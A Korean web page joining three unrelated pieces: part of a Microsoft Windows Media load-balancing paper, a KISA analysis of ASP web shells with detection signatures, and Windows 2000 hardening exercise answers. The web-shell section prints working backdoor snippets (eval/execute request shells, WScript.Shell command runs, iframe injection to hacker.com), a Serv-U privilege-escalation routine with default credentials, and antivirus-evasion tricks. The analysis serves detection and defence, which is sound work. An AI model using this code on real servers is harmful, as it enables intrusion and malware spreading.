Windows 로드 균형 조정 서비스Windows 로드 균형 조정 서비스(WLBS)를 사용하면 들어오는 IP 소통량을 동적으로 여러 서버에 분산시킬 수 있습니다. WLBS는 클라이언트 요청을 호스트에 투명하게 분산시키며 클라이언트는 하나 이상의 가상 IP 주소를 사용하여 풀에 액세스할 수 있습니다. 클라이언트의 관점에서 보면 풀은 이들 IP 주소에 응답하는 단일 서버로 보입니다. WLBS 또는 MSCS(Microsoft 클러스터 서비스) 중 어느 것을 Windows Media와 함께 사용해야 하는지 묻는 고객이 많습니다. 답은 WLBS를 사용하라는 것입니다. 아래에 설명하는 MSCS는 Microsoft SQL Server와 같이 데이터를 많이 사용하는 응용 프로그램입니다.
WLBS 서버는 다음과 같은 기능을 제공하기 위해 서로 통신합니다.
단일 선호도, 선호도 없음 또는 클래스 C를 사용하기 위해 필터링한 다중 서버에서 로드 균형 조정을 위해 WLBS를 구성할 수 있습니다. 상태 정보가 없는 응용 프로그램인 Windows Media Server 서버에 가장 좋은 방법은 단일 선호도입니다. 단일 선호도로 구성하면 WLBS 가상 IP 주소를 사용하여 들어오는 모든 패킷을 WLBS 클러스트의 특정 노드에 고정할 수 있습니다. 클러스터 IP 주소를 사용하여 클라이언트에서 수신하는 모든 패킷이 그 노드에 연결됩니다.
MSCS(Microsoft 클러스터 서비스)MSCS는 SQL Server와 Microsoft Exchange Server와 같은 데이터 집중형 응용 프로그램에 사용됩니다. Windows Media 서버의 로드 균형 조정용으로 사용하면 안됩니다. 그러나 WLBS와 MSCS 기술을 같이 사용하여 전체 사이트에 매우 높은 확장성과 가용성을 제공할 수 있습니다. 예를 들어, 데이터베이스 기반 사이트는 WLBS 클러스터 HTTP와 Windows Media 기반 서버가 액세스하는 MSCS 클러스터에 데이터베이스를 호스팅할 수 있습니다. 이 구성은 데이터베이스 수준에서 높은 수준의 가용성을 제공하며 웹/HTTP 수준에서 높은 수준의 확장성과 가용성을 모두 제공합니다.
Windows Media Player 실행 중 발생할 수 있는 네트워크 오류 메시지는 RFC 2038에서 정의한 표준 HTTP 1.1 상태 모드입니다. 다음을 참조하십시오.
ftp://ftp.isi.edu/in-notes/rfc2068.txt
가장 흔하게 볼 수 있는 코드는 5xx 범위에 있으며 서버에 오류가 발생했거나 요청을 처리할 수 없다는 신호를 보내는 경우를 나타내는 서버 오류 메시지입니다. 이들 코드는 아래와 같습니다.
Windows Media Technologies, 소프트웨어 다운로드에 대한 자세한 정보와 컨텐트 작성 및 배포에 대한 기사들에 대한 링크는 다음의 공식적인 Windows Media Technologies 웹 페이지를 참조하십시오.
http://www.microsoft.com/korea/windows/windowsmedia/default.asp
특정 기술 관련 질문에 대한 답은 다음의 Microsoft 기술 자료 사이트를 참조하십시오. 위치는 다음과 같습니다.
http://www.microsoft.com/support/kb.htm?RLD=32
또한 사용자가 가입할 수 있는 다음과 같은 몇 가지 공개 뉴스 그룹도 있습니다.
© 2000 Microsoft Corporation. All rights reserved.
이 문서에 포함된 정보는 문서를 발행할 때 논의된 문제들에 대한 Microsoft Corporation의 당시 관점을 나타냅니다. Microsoft는 변화하는 시장 환경에 대처해야 하므로 이를 Microsoft 측의 책임으로 해석해서는 안 되며 발행일 이후 소개된 어떠한 정보에 대해서도 Microsoft는 그 정확성을 보장하지 않습니다.
이 백서는 정보 제공 목적으로만 제공됩니다. Microsoft는 이 문서에서 명시적이든 묵시적이든 막론하고 여하한 보증도 하지 않습니다.
해당 저작권법을 준수하는 것은 사용자의 책임입니다. 저작권에서의 권리와는 별도로, 이 설명서의 어떠한 부분도 Microsoft의 명시적인 서면 승인 없이는 어떠한 형식이나 수단(전기적, 기계적, 복사기에 의한 복사, 디스크 복사 또는 다른 방법) 또는 목적으로도 복제되거나, 검색 시스템에 저장 또는 도입되거나, 전송될 수 없습니다.
Microsoft가 이 설명서 본안에 관련된 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등을 보유할 수도 있습니다. 서면 사용권 계약에 따라 마이크로소프트로부터 귀하에게 명시적으로 제공된 권리 이외에, 이 설명서의 제공은 귀하에게 이러한 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등에 대한 어떠한 사용권도 허여하지 않습니다.
Microsoft, PowerPoint, Windows, Windows 로고, Windows Media 및 Windows NT는 미국, 대한민국, 및/또는 기타 국가에서의 Microsoft Corporation의 등록 상표 또는 상표입니다.
여기에 인용된 실제 회사와 제품 이름은 해당 소유자의 상표일 수 있습니다.
Microsoft Corporation • One Microsoft Way • Redmond, WA 98052-6399 • USA
01/00
|
1. 개 요
가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.
공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.
나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.
웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.
피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.
다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.
o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.
가. 각 기능별 웹쉘 분석
■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.
o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”) Call WshShell.Run (cmd, 0, True) Set WshShell = CreateObject (“WScript.Shell”) Set oExec = WshShell.Exec (cmd) |
시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.
o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
set objShell = CreateObject(“Shell.Application”) objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1 |
■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.
o Scripting.FileSystemObject
- 파일 리스팅
Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.GetFolder(folderpath) Set fp = f.Files For Each f1 in fp s = s & f1.name Next |
- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
Set f = fso.OpenTextFile(“c:\testfile.txt”) ra = f.ReadAll |
- 파일 생성 및 수정
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True) MyFile.Write Contents |
- 파일 이동 및 삭제
fso.CopyFile Path1, Path2 fso.CopyFolder Path1, Path2 fso.DeleteFile Path fso.DeleteFolder Path |
■ 파일 다운로드
o Adodb.Stream
Set stream = Server.CreateObject”Adodb.Stream”) stream.Open stream.Type = 1 stream.LoadFromFile(Path) Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName Response.AddHeader “Content-Length”, stream.Size Response.Charset = “UTF-8” Response.ContentType = “application/octet-stream” Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing |
■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile
■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.
o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b
o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다. Set regEx=New RegExp regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b” regEx.IgnoreCase=True retVal=regEx.Test(path) ◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다. Set fs=Server.createObject(“Scripting.FileSystemObject”) Set f=fs.GetFile(path) Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다 f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>” f_addcode.Close |
■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
Set Con = Server.CreateObject(“Adodb.Connection”) Con.Open “Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD” SQL = “SELECT * FROM table” Set RS = Con.Execute(SQL) |
■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.
※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
- 터미널 서비스 포트, PortNumber 키 값 변경 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ - 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름 (DefaultUserName)과 패스워드(DefaultPassword)를 확인 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ - 컴퓨터 이름 확인 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName - 익명 사용자 접속 여부 및 공유 정보 확인 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha redNetDrives - 보안 필터링 및 포워딩 여부 확인 HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter - 네트워크 카드 정보 확인 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128 -8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind |
■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.
o 서비스 확인
Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”) ComputerObj.Filter = Array(“Service”) For Each Service in ComputerObj WScript.Echo “Service display name = “ & Service.DisplayName WScript.Echo “Service account name = “ & Service.ServiceAccountName WScript.Echo “Service executable = “ & Service.Path WScript.Echo “Current status = “ & Service.Status Next |
o 사용자 정보확인
Set objComputer = GetObject(“WinNT://.”) objComputer.Filter = Array(“User”) For Each objUser in objComputer WScript.Echo objUser.Name Next |
■ 어플리케이션 취약점을 통한 로컬 권한상승
웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.
o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행
set a=Server.CreateObject(“Microsoft.XMLHTTP”) a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “” a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain & newuser & quit set session(“a”)=a set b=Server.CreateObject(“Microsoft.XMLHTTP”) b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “” b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit set session(“b”)=b |
나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.
http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx
Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.
SCRENC [switches] inputfile outputfile
일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
일반 소스 |
인코딩 소스 |
<SCRIPT language=”VBScript”> <% This is test %> </SCRIPT> |
<%@ LANGUAGE = VBScript.Encode %> <SCRIPT language=”VBScript”> <%#@~^FAAAAA==@#@&K4b/,k/,Y dY @#@&ogQAAA==^#~@%> </SCRIPT> |
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.
- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.
eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>
■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>
■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.
<SCRIPT language=”vbscript” runat="”server”"> If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”) If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”)) </SCRIPT> |
라. 기타
■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.
- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)
■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.
가. 웹쉘 시그니쳐를 이용한 파일 검색
■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.
- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
cmd\.exe |
Wscript\.Shell | Shell\.Application | VBScript\.Encode | gb2312 |
execute *\(? *session | execute *\(? *request | eval *\(? *request | \.run.*> | \.exec *\( |
webshell | lake2 | hack520 | lcxMarcos | Marcos |
■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.
findstr /i /r /s /g:asp.sig *.asp
- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색
※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.
■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.
ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell
인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
Action=MainMenu Action=Show1File Action=EditFile Action=DbManager Action=getTerminalInfo Action=ServerInfo Action=Servu Action=kmuma Action=kmuma&act=scan Action=Cplgm&M=2 Action=plgm Action=PageAddToMdb > Action=ReadREG Action=ScanPort Action=Cmd1Shell Action=UpFile (pageName|id|list|action|act)=ServiceList (pageName|id|list|action|act)=ServiceList (pageName|id|list|action|act)=infoAboutSrv (pageName|id|list|action|act)=objOnSrv (pageName|id|list|action|act)=userList (pageName|id|list|action|act)=WsCmdRun (pageName|id|list|action|act)=SaCmdRun (pageName|id|list|action|act)=SaCmdRun&theAct (pageName|id|list|action|act)=FsoFileExplorer (pageName|id|list|action|act)=FsoFileExplorer&theAct (pageName|id|list|action|act)=FsoFileExplorer&thePath pageName=MsDataBase pageName=MsDataBase&theAct=showTables pageName=TxtSearcher pageName=OtherTools act=scan Action=mainwin action=listtb action=listvw action=listdb action=execsql action=dbsrcbox action=searchfile action=xpcmdshell (action|act)=cmdshell action=mainmenu action=showfile action=editfile action=course action=serverinfo action=upfile action=dbmanager ex=edit&pth= PageName=PageUpload&theAct PageName=PageWebProxy&url= productName=HigroupASPAdmin PageWebProxy aCTiON=cMd aCTiON=ClonETiMe&SrC= aCTiON=SqLrOotKIt aCTiON=Reg aCTiON=DAtA aCTiON=Goto&SrC=C:\ aCTiON=uPFIlE&SrC= aCTiON=NEw&SrC= act=info act=filemanage act=edit&src= act=del&src= act=rename&src= DirName= Type=.*FileName=.*\ Type=.*ok=dir FsoFileExplorer WsCmdRun SaCmdRun MsDataBase HigroupASPAdmin =cmd ClonETiMe SqLrOotKIt |
4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.
[자료: 한국정보보호진흥원(KISA)]
윈도우 2000 서버를 FTP 서비스로 사용하기 위해 새로 설치하였다.
"ftp_user" 라는 사용자를 아래와 같은 정책으로 구성하여라.
1. 기호 및 숫자, 알파벳을 조합한 최소 암호길이를 7자리 이상으로 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "암호는 복잡성을 만조해야함"을 "사용"으로 설정
"최소 암호 길이" "7"로 설정
2. 패스워드 재 사용 금지를 위해 이전 패스워드 3개를 기억할 수 있도록
설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최근 암호 기억"을 "3"으로 설정
3. 패스워드 유출 사고를 대비하여 31일마다 패스워드를
재설정 하도록 하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최대 암호 사용 기간"을 "30"으로 설정
4. 사전 대입 공격을 차단하기 위해 5번의 로그인 실패 시 30분간
잠금 정책을 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>계정 잠금 정책"에
정책에서 "계정 잠금 임계값"을 "5"로 설정한다.
//임계값을 설정하면 자동으로 계정 잠금 기간이 30으로 설정 된다.
5. 위 정책을 보안 템플릿 파일 형태로 작성하여라.
(저장 파일명: C:\Usrmply.inf)
=> 저장
6. `net`명령어를 이용하여 위에서 설정된 결과값을 저장하여라.
(저장 파일명: C:\Usrmply.txt)
=> C 드라이드 root로 이동후에
net accounts > Usrmply.txt
2.사용자 권한 할당
1. 하위 윈도우 버전(NT3.5, Windows 98등)과
텍스트 암호 통신을 하는 LM인증을 사용하지 않도록
윈도우 2000 서버의 인증 보안을 강화시켜라(NTLMv2사용).
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에 "네트워크 보안:LAN Manager 인증 수준"을
"NTLMv2 응답만 보냄\LM 거부"로 설정
2. 일반 사용자가 시스템에 직접 로컬 로그온 하여 악의적인 코드를
다운로드하고 실행하여 사용자 권한을 변경 할 수 있는 위험을 없애기 위해
허가된 관리자 그룹(Administrators)을 제외한 모든 그룹에 대하여
로컬 로그온을 하지 못하도록 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>사용자 권한 할당"에서
정책중 "로컬로 로그온"을 Administrator만 남기고 모두 삭제
3. Windows XP컴퓨터에서 네트워크를 통해 Windows 2000 도메인 컨트롤러
공유자원에 접근하기 위해 SMB통신을 하려고 한다.
IPSec을 사용하지 않고 공격자의 세션 가로채기 공격을 방어할 수 있는
SMB 서명 인증 통신 방법을 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에
"Microsoft 네트워크 서버 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 서버 : 디지털 서명 통신 (항상)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (항상)"
위에 4개 정책을 모두 "사용"으로 설정한다.
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)" 정책은
기본으로 사용으로 되어있는 경우도 있음.
3.익명 보안 옵션Windows 2000
※ 주의 : 문제서버를 Windows 2000 Server로 간주하고 문제를 해결하시오.
1. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>실행>regedit
[경고 문서 생성]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에
"LegalNoticeCaption" (제목)
"LegalNoticetext" (내용) 에 각각 해당 사항 입력
[마지막으로 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에서
오른쪽클릭>새로만들기> DWORD 값
이름 : DontDisplayLastUserName
값 데이터 : 0x1(16진수)
2. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
익명 접근을 제한하라
=>
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" 에
이름: RestrictAnonymous 에 값을 0x2(16진수) 로 변경
3. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt`파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt
[현재 실행 중인 기본 공유 제거]
net share c$ /delete
net sharee admin$ /delete
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
[기본 공유 제거 - XP / 2003]
